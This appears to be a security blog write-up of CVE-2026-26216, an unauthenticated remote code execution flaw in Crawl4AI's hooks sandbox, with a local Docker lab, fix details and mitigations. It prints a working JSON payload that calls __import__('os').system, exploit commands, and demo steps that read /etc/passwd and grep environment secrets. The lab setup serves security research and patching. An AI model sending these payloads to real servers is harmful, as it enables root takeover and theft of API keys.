joaovicdev@sec:~$

$ cat cve-2026-26216-crawl4ai-hooks-rce.mdx

CVE-2026-26216: Crawl4AI unauthenticated RCE via hooks

[CVE-2026-26216][cve][rce][crawl4ai][sandbox-escape][poc]
PoC & exploit on GitHub

Authorization: this is a self-contained lab built for education and authorized security research. The vulnerable target runs locally in Docker. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.

Summary

CVE-2026-26216 (GHSA-5882-5rx9-xgxp, CVSS 10.0, CWE-94) is a pre-authentication remote code execution bug in Crawl4AI below 0.8.0. The Docker server's POST /crawl endpoint accepts arbitrary Python in the hooks.code.<event> field and runs it through exec() inside a homemade sandbox — a restricted dictionary of builtins.

The sandbox strips open, eval, and exec, but __import__ was left on the allowlist. That single forgotten builtin hands over the entire standard library:

__import__("os").system("id")

Because the official deployment ships with JWT disabled by default and the container runs as root, one JSON body is enough for unauthenticated root RCE.

Impact

AxisWhat an attacker gets
ConfidentialityOPENAI_API_KEY, internal tokens, and every other container secret
IntegrityArbitrary file write — backdoors, tampered crawl output
AvailabilityKill processes, wipe data inside the container
Lateral movementThe container usually reaches the internal network → pivot

All of it without a single credential.

Affected versions

Crawl4AIStatus
< 0.8.0Vulnerable__import__ allowed, hooks enabled by default
>= 0.8.0Fixed — __import__ removed, hooks opt-in via CRAWL4AI_HOOKS_ENABLED

Proof of concept

The whole exploit is the request body. The hook is a normal async def that the server compiles and executes for the named event:

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

The lab in the repo is a lean reproduction of the vulnerable code path — no Chromium/Playwright, so it stays light and fully reproducible — with the vulnerable line marked in vulnerable-app/hook_manager.py:

CVE-2026-26216/
├── docker-compose.yml         # brings up the vulnerable server
├── vulnerable-app/
│   ├── Dockerfile             # runs as root, like the official image
│   ├── server.py              # FastAPI: POST /crawl, no auth
│   └── hook_manager.py        # the weak sandbox — vulnerable line here
└── exploit/
    └── exploit.py             # stdlib-only exploit

--demo walks the five stages that make the point:

#ActionResult
1open('/etc/passwd') directlyBlocked by the sandbox (false security)
2__import__('subprocess') + id / whoamiCommand execution as root
3cat /etc/passwd through the shellArbitrary file read
4env | grep -Ei 'KEY|TOKEN|SECRET'API key / token exfiltration
5echo ... > /tmp/PWNEDArbitrary file write

Step 1 is the interesting one: the naive payload really is blocked, which is exactly what makes the allowlist feel safe right up until step 2 lands.

Run it

Prerequisites: Docker and Python 3 (the exploit uses stdlib only).

1. Bring up the target:

docker compose up -d --build

2. Run the full demonstration:

python3 exploit/exploit.py --target http://localhost:11235 --demo

3. Or execute an arbitrary command:

python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

--event swaps the abused hook event (default on_page_context_created).

4. Tear it down:

docker compose down -v

Fix and mitigations

Fixed in Crawl4AI 0.8.0: __import__ (alongside eval, exec, and open) was removed from the permitted builtins, and hooks are now disabled by default, opt-in through CRAWL4AI_HOOKS_ENABLED=true.

  • Upgrade to crawl4ai >= 0.8.0.
  • Never expose the Crawl4AI server directly to the internet; enable JWT.
  • Don't run the container as root — use an unprivileged user and a read-only FS.
  • Treat a builtins allowlist as what it is: not a sandbox. Untrusted code needs real isolation (gVisor, a microVM, or a separate process with no network and no filesystem, plus seccomp).

References